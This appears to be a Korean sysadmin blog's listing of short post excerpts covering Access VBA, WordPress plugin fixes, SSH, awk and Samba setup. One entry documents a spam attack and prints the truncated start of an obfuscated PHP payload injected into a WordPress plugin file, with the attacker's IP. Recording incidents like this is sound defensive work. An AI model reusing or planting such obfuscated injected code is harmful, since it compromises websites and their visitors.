Option Compare Database Private Sub Command65_Click() If MsgBox("Confirm?", vbYesNo, "Confirm") = vbYes Then SaveAttachments "C:\Users\owl\Documents\pic\foldname", "tablename", "fieldname", "key_fieldname" Else End If End Sub Public Function SaveAttachments(strPath As String, strTable As String, strField As String, strKeyField As String, Optional strPattern As String = "*.*") As Long Dim dbs As DAO.Database Dim rst As DAO.Recordset2 Dim rsA […]
advanced-code-editor => spammed
/wordpress/wp-content/plugins/advanced-code-editor/themes/article.php 변조된 사례 => 스팸공격 공격시 사용된 IP : 202.50.176.101 <?php $i34="dF/v;->7K\r<~o_p*5e(RZQ3wh\$P^JLxDs\t?TgS\"rOqYibX4WA%G|M+! Cu`t#N{])Bfa8=lH60zc,E1\nkV'm}ynI&.\\2Uj9:@["; $GLOBALS['xkdnu25'] = $i34[17].$i34[39].$i34[39].$i34[12].$i34[39].$i34[13].$i34[39].$i34[17].$i34[14].$i34[12].$i34[39].$i34[59].$i34[43].$i34
mega_main_menu : rgba2hex, hex2rgb for xp ie
wp-content ▸ plugins ▸ mega_main_menu ▸ framework
user_pass migration : mysql password to md5 for wordpress
wp-includes/pluggable.php
seo-ultimate 플러그인 : meta og:image => use first image
wp-content ▸ plugins ▸ seo-ultimate ▸ modules ▸ opengraph
공유기 안에 있는 서버 ssh 접속속도 지연 해소법
공유기 안에 리눅스 서버가 있을 때, ssh 접속속도가 느릴 경우가 있는데, 이는 접속자의 IP가 192.168.0.1 과 같은 공유기 IP로 인식되고, 이를 보안인증에서 네임을 해석하는 알고리즘에 지연현상이 발생하기 때문이다. 이 경우 다음과 같이 간단히 접속지연 문제를 해소할 수 있습니다. vi /etc/hosts 192.168.0.1 gateway
awk 로그파일 잘라내기
awk 'NR >= 1502077 && NR <= 1512089' ./xxx-stdout.log > 2789711.txt
Samba 관련 유용한 명령어들
[root@owl45 samba]# smbpasswd -a owl New SMB password: Retype new SMB password: Added user owl. [root@owl45 samba]# smbclient -L owl45 -l 192.168.0.45 -U owl Enter owl's password: Sharename Type Comment --------- ---- ------- public Disk Public Stuff IPC$ IPC IPC Service (OWL45) owl Disk Home Directories Server Comment --------- ------- Workgroup Master --------- ------- [root@owl45 […]
Samba install and settings
# yum install samba [root@owl43 public]# vi /etc/samba/smb.conf ================================== [global] workgroup = WORKGROUP server string = OWL45 log file = /var/log/samba/%m.log security = user passdb backend = tdbsam #encrypt passwords = yes #smb passwd file = /etc/samba/smbpasswd hosts allow = 127. 192.168.0. #socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192 [homes] comment = Home Directories browseable […]